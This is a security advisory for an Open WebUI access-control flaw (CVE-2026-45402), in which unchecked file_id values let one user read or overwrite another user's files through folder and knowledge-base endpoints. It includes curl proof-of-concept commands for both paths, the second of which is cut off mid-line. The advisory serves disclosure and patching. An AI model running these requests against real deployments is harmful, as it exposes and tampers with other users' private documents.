AI and data stack advisories

Severe, 6 weeks1498Projects326

1498 severe, 6 weeks · 326 projects

Open WebUIGHSA-r472-mw7m-967f

Open WebUI: insecure direct object reference

Open WebUI

CVE-2026-45402 · Published May 14, 2026 · updated Jul 13, 2026

High8.1
Fix: upgrade to 0.9.5 or later
GitHub advisory

Cross-User File Access via Unchecked file_id in Folder Knowledge and Knowledge-Base Attach Endpoints

Summary

Multiple endpoints accept a user-supplied file_id and attach the referenced file to a resource the caller controls (folder knowledge, knowledge-base contents) without verifying that the caller owns or has been granted access to the file. The file's content then becomes reachable through the downstream RAG / file-content paths, allowing any authenticated user to exfiltrate any other user's private file , and on the knowledge-base path, also to overwrite it , given knowledge of the file's UUID.

Affected code paths

Path 1 , Folder knowledge ingestion via folders.update

backend/open_webui/routers/folders.py:156 , POST /api/v1/folders/{id}/update accepts a FolderUpdateForm whose data: Optional[dict] field is written verbatim into the folder. The folder consumer at backend/open_webui/utils/middleware.py:2409 spreads folder.data['files'] directly into form_data['files'] for the next chat completion, which becomes RAG context. There is no per-file ownership check at the writer (the update handler) and no per-file ownership check at the reader (the middleware folder consumer) , only the *folder list* endpoint (folders.py:78-94) cleans up by stripping inaccessible files, and that runs lazily at folder-list time rather than at chat time....

Affected versions

PackageAffectedFixed in
open-webui
PyPI
< 0.9.50.9.5
Details and references

# Cross-User File Access via Unchecked file_id in Folder Knowledge and Knowledge-Base Attach Endpoints ## Summary Multiple endpoints accept a user-supplied `file_id` and attach the referenced file to a resource the caller controls (folder knowledge, knowledge-base contents) without verifying that the caller owns or has been granted access to the file. The file's content then becomes reachable through the downstream RAG / file-content paths, allowing any authenticated user to exfiltrate any other user's private file , and on the knowledge-base path, also to overwrite it , given knowledge of the file's UUID. ## Affected code paths ### Path 1 , Folder knowledge ingestion via `folders.update` `backend/open_webui/routers/folders.py:156` , `POST /api/v1/folders/{id}/update` accepts a `FolderUpdateForm` whose `data: Optional[dict]` field is written verbatim into the folder. The folder consumer at `backend/open_webui/utils/middleware.py:2409` spreads `folder.data['files']` directly into `form_data['files']` for the next chat completion, which becomes RAG context. There is no per-file ownership check at the writer (the update handler) and no per-file ownership check at the reader (the middleware folder consumer) , only the *folder list* endpoint (`folders.py:78-94`) cleans up by stripping inaccessible files, and that runs lazily at folder-list time rather than at chat time. An attacker with a victim's file UUID can write `data: {"files": [{"id": "<victim>", "type": "file"}]}` into their own folder, immediately chat in that folder, and have the LLM return the victim's document content via RAG. The cleanup pass strips the file from persistence later, but the exfiltration has already happened. ### Path 2 , Knowledge-base attach via `knowledge.{id}/file/add` and `knowledge.{id}/files/batch/add` `backend/open_webui/routers/knowledge.py:616-669` (`add_file_to_knowledge_by_id`) and `backend/open_webui/routers/knowledge.py:972-1035` (`add_files_to_knowledge_by_id_batch`) check the caller's *write access to the knowledge base* but never validate the caller's access to the `file_id` being attached. Because `has_access_to_file(..., user)` returns True for any file linked to a KB the caller owns, attaching a victim's `file_id` to an attacker-owned KB silently unlocks read **and** write on that file through `/api/v1/files/{id}/content` and `/api/v1/files/{id}/data/content/update`. This is a stronger variant than Path 1 , full read AND overwrite, persisted, no cleanup pass to mitigate. ## Proof of concept ### Path 1 (folder knowledge) ```bash # Attacker writes victim file_id into their own folder curl -X POST http://target/api/v1/folders/<attacker_folder_id>/update \ -H "Authorization: Bearer $ATK" -H "Content-Type: application/json" \ -d "{\"data\": {\"files\": [{\"id\": \"$VICTIM_FILE_ID\", \"type\": \"file\"}]}}" # Attacker chats in that folder , victim file becomes RAG context curl -X POST http://target/api/chat/completions \ -H "Authorization: Bearer $ATK" -H "Content-Type: application/json" \ -d "{\"model\":\"any\",\"messages\":[{\"role\":\"user\",\"content\":\"summarise my uploaded document\"}],\"folder_id\":\"<attacker_folder_id>\"}" ``` ### Path 2 (knowledge-base attach) ``` # Attacker creates own KB KB=$(curl -s -X POST http://target/api/v1/knowledge/create \ -H "Authorization: Bearer $ATK" -H "Content-Type: application/json" \ -d '{"name":"x","description":"x","data":{}}' | jq -r .id) # Attach victim's file_id , no ownership check curl -X POST http://target/api/v1/knowledge/$KB/file/add \ -H "Authorization: Bearer $ATK" -H "Content-Type: application/json" \ -d "{\"file_id\":\"$VICTIM_FILE_ID\"}" # Read victim file through standard files endpoint (now accessible because file is "linked to KB I own") curl http://target/api/v1/files/$VICTIM_FILE_ID/content -H "Authorization: Bearer $ATK" # Overwrite curl -X POST http://target/api/v1/files/$VICTIM_FILE_ID/data/content/update \ -H "Authorization: Bea

CVSS 3.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Severity from
GitHub (reviewed advisory)
Weakness
CWE-639
Also known as
CVE-2026-45402, PYSEC-2026-2752

More Open WebUI advisories

All Open WebUI